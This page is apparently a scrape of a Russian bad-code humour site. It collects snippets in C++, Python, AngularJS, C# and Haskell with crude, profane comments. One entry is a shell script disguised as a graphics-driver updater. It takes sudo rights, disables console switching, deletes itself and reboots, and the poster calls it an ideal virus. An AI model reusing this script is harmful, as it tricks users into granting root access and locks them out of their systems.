- 1
// https://habr.com/ru/company/ruvds/blog/515676/
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−1
// https://habr.com/ru/company/ruvds/blog/515676/
Разбор худшего в мире куска кода.
+1
Задачка с собеседования.
Удалить из неупорядоченного массива чисел представленного как std::vector<int> элемент за O(1).
А я тупил, и дошел до ответа только с подсказками.
0
module Voretion.Kobenation (
trySort
, natalyze
, toBase64
, fromBase64
, dbgKob
) where
https://github.com/k32/zenmaster
Чей петух, кто знает?
+1
with conn:
cursor = conn.cursor()
cursor.execute('UPDATE users SET creferals = creferals + 1 WHERE cid = ?', (inviter,))
cursor.execute('INSERT INTO users VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
(datetime.strftime(datetime.now(),"%H:%M:%S %d.%m.%Y"), cid, username, 'main', 0, 0, 0, 0, 0, 0, 0, inviter, 'RUS'))
conn.commit()
0
#!/bin/sh
echo "Вас приветствует обновлятор видеокарты! Версия 1.0"
echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
sudo echo -n "Установка..."
sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
let a=$RANDOM%15
let a+=7
sleep $a
echo "Установка завершена! Приятного использования"
sleep 1
rm $0
sudo reboot
Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить
+4
#include <chrono>
#include "SomeShittyLib.h"
// ...
//Fuck you.
#undef min
auto min_seconds = std::chrono::seconds::min();
Конечно, каждому либописателю надо объявить макрос min "(((a) < (b)) ? (a) : (b))", ведь вызов функции - это пиздец какие накладные расходы!
+4
std::vector<int> vec = { 1, 2, 3, 4 };
for (auto i = vec.size() - 1; i >= 0; i--) {
cout << i << ": " << vec[i] << endl;
}
cout << endl;
Выстрел в ногу, заботливо прикрытый фиговым листочком «auto».
+8
public float Ratio
{
get { return ratio; }
set
{
float newValue = value;
if (value < 0.002f)
{
newValue = 0.002f;
}
else if (value > 0.983f)
{
newValue = 0.983f;
}
if (ratio != newValue)
{
ratio = value;
InvalidateMeasure();
}
}
}
Мой "любимый" телерик опять пишет говно. Хорошо, что я скачал исходники и теперь сам могу править баги, не дожидаясь реакции этих слоупоков, которые после отправки бага с гифом (!), воспроизводящими исходниками (!!) и, блядь, патчем (!!!) исправляли два месяца сраный NRE.
Догадайтесь, что здесь не так. Про magic numbers уже молчу.
+159
$timeout(function(){
$rootScope.presentation_details = {
"name" : $rootScope.presentationDetails.name,
"description" : $rootScope.presentationDetails.description,
"lastUpdatedView" : $rootScope.presentationDetails.lastUpdatedView,
"projectId" : $rootScope.presentationDetails.projectId,
"presentationId" : $rootScope.presentationDetails.presentationId,
"reimbursementRate" : $rootScope.presentationDetails.reimbursementRate,
"isTemplate" : $rootScope.presentationDetails.isTemplate,
"authorId" : $rootScope.presentationDetails.authorId,
"authorName" : $rootScope.presentationDetails.authorName,
"IsNewPresentation" : false,
"gDocsId" : $rootScope.presentationDetails.gDocsId,
"parameters" : {
"widgetURL" : $rootScope.presentationDetails.parameters.widgetURL,
"widgetIFrameUrl" : $rootScope.presentationDetails.parameters.widgetIFrameUrl,
"widgetTextareaContent": $rootScope.presentationDetails.parameters.widgetTextareaContent,
"widgetTotalEGinGasSaved" : $rootScope.presentationDetails.parameters.widgetTotalEGinGasSaved,
"widgetTotalEGinFewerVehicles" : $rootScope.presentationDetails.parameters.widgetTotalEGinFewerVehicles,
"widgetHowDoesSolarWorkStepFourDuration" : $rootScope.presentationDetails.parameters.widgetHowDoesSolarWorkStepFourDuration,
"widgetHowDoesSolarWorkOverallDuration" : $rootScope.presentationDetails.parameters.widgetHowDoesSolarWorkOverallDuration,
"widgetGraphWeather" : $rootScope.presentationDetails.parameters.widgetGraphWeather,
"wIdgetGraphTemperatureChartType" : $rootScope.presentationDetails.parameters.wIdgetGraphTemperatureChartType,
"widgetGraphTemperature" : $rootScope.presentationDetails.parameters.widgetGraphTemperature,
"widgetWeatherType" : $rootScope.presentationDetails.parameters.widgetWeatherType,
"transitionOut" : $rootScope.presentationDetails.parameters.transitionOut,
"transitionIn" : $rootScope.presentationDetails.parameters.transitionIn,
"parametersId" : $rootScope.presentationDetails.parameters.parametersId,
"subheaderFont" : {
"fontId" : $rootScope.presentationDetails.parameters.subheaderFont.fontId,
"size" : $rootScope.presentationDetails.parameters.subheaderFont.size,
"name" : $rootScope.presentationDetails.parameters.subheaderFont.name,
"color" : $rootScope.presentationDetails.parameters.subheaderFont.color,
"visible" : $rootScope.presentationDetails.parameters.subheaderFont.visible,
"label" : $rootScope.presentationDetails.parameters.subheaderFont.label,
"content" : $rootScope.presentationDetails.parameters.subheaderFont.content,
},
"normal2Font" : {
"fontId" : $rootScope.presentationDetails.parameters.normal2Font.fontId,
"size" : $rootScope.presentationDetails.parameters.normal2Font.size,
"name" : $rootScope.presentationDetails.parameters.normal2Font.name,
"color" : $rootScope.presentationDetails.parameters.normal2Font.color,
"visible" : $rootScope.presentationDetails.parameters.normal2Font.visible,
"label" : $rootScope.presentationDetails.parameters.normal2Font.label,
},
"backgroundImage" : $rootScope.presentationDetails.parameters.backgroundImage,
"backgroundImageVisible" : $rootScope.presentationDetails.parameters.backgroundImageVisible,
"backgroundImageLabel" : $rootScope.presentationDetails.parameters.backgroundImageLabel,
"backgroundColor" : $rootScope.presentationDetails.parameters.backgroundColor,
"backgroundColorVisible" : $rootScope.presentationDetails.parameters.backgroundColorVisible,
"backgroundColorLabel" : $rootScope.presentationDetails.parameters.backgroundColorLabel,
"widgetIndex" : $rootScope.presentationDetails.parameters.widgetIndex,
"rowPosition" : $rootScope.presentationDetails.parameters.rowPosition,
"colPosition" : $rootScope.presentationDetails.parameters.colPosition,
"rowCount" : $rootScope.presentationDetails.parameters.rowCount,
"colCount" : $rootScope.presentationDetails.parameters.colCount,
"duration" : $rootScope.presentationDetails.parameters.duration,
"startDate" : $rootScope.presentationDetails.parameters.startDate,
"endDate" : $rootScope.presentationDetails.parameters.endDate,
},
};
}, 10);
Заглянул в код текущего проекта... Зря тимлид не проводит кодревью... У кого есть идеи нахеряки?
+7
typedef SmartPtr<CallRec> callptr;
callptr *m_call;
if (m_call && (*m_call) && (*m_call)->SomeMethod()) {
// ...
}
GnuGK и смартпоинтеры.